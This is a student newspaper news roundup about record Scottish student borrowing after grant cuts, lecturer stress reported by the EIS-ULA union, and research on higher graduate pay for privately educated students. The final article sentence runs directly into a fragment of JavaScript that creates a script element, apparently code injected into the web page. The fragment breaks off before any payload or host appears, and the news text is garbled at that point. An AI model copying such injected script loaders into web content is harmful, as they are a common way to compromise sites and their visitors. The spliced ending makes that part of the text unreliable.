Studentsphere: Edition 2

By Émer O’Toole, News Editor


Scottish student borrowing increases by 69 per cent to record levels

Scottish students have to take out record levels of debt after the Scottish government cut the grants they could claim by 40 per cent,

Student borrowing has soared by 69 per cent for the last academic year up to £430 million, the highest level on record- according to official figures.

The poorest students have been hit the hardest after minsters cut overall spending on grants for living costs from £89.4 million to £53 million last year.

The average loans taken out by students from the lowest income families came to £5, 610 per year, as opposed to £4,340 for students from well off homes, according to Lucy Blackburn Hunter, a specialist in higher education policy.

Blackburn Hunter spoke of how the increasing impact of those policies meant that Scottish students doing a typical four year Scottish university course would end up owing more than £20,000, while the poorest dealt with the heaviest debts.

The average debt per student was £5,020, while the cuts in grant funding would continue for the foreseeable future.

Blackburn Hunter said: “These are startling figures, and as a nation we shouldn’t be in the least bit proud of these.”

“Surely we’ve reached the point now where we take the debate about students’ grants as seriously as the debate about fees and free tuition.

European data last week also revealed that Scotland has the least generous student grants of any comparable west European country, including other parts of the UK.


University lecturers face high levels of stress

University lecturers deal with heavy workload pressures, high levels of stress and separate problems blamed on management practices, according to union leaders.

A study by the EIS-ULA (Educational Institute of Scotland – University Lecturers’ Association) reveals that university staff have lower levels of wellbeing and satisfaction compared than those in other areas of education.

EIS-ULA is a self-governing association within the EIS, which is Scotland’s largest teaching union, and the research is partly based on a survey it carried out and casework reviews.

Factors which contribute to lecturers’ wellbeing scores include concerns over management and leadership in their university, as well as significant workload pressures and a lack of access to appropriate professional development, it was claimed.

When EIS-ULA members were asked their current stress levels, it was shown that 70 per cent gave a score equating to the feeling “extremely stressed” end of the scale.

Larry Flanagan, EIS General Secretary urged “all employers in the higher education sector to work constructively with staff representatives to tackle the problem of excessive workload and to reduce instances of work-related stress.”

She continued: “It is in everyone’s interest – staff, students and the institutions themselves – to create a work environment that is conducive to learning and teaching for the benefit of all students and staff.”

A spokeswoman for Universities Scotland, which represents the country’s 19 higher education institutions, said: “Scotland’s universities have a duty of care to all of their staff, whether they are academics or professional and support staff, which is taken very seriously across the sector.

“It’s important the results of this survey are framed in the proper context; this survey found only 68 people say they were ‘occasionally stressed’ out of more than 17,000 academic staff in Scotland’s universities. That is less than 0.4 per cent.”


Private school graduates earn more

British graduates who attended private schools earn significantly more, on average, than their state-educated counterparts, according to new research.

The research, conducted by the Institute for Fiscal Studies reveals that the pay gap is more than £4,500 a year, raising questions over education’s impact on social mobility.

Privately educated graduates are apparently more likely to go to elite universities and study subjects that lead to higher pay.

The researchers gathered data from over 200,000 graduates who got their undergraduate degree at a British university in 2007.

They compared the salaries – six months and three-and-a-half years after graduation – of those who sat their A-levels at a state school against those who went to a fee-paying school.

It was found that, out of the people who were in employment three-and-a half years after graduation, those who had been to a private school were earning, on average, £28,592 – £4,548 more than the average salary for state school graduates (£24,044).

The survey also examined graduates from similar backgrounds, who studied the same subject at the same university and went into the same job after completing their degree.

Even in these cases, those who attended a fee-paying school earned around 6 per cent- equivalent to around £1,500 a year – more on average.var d=document;var s=d.createElement(‘script’);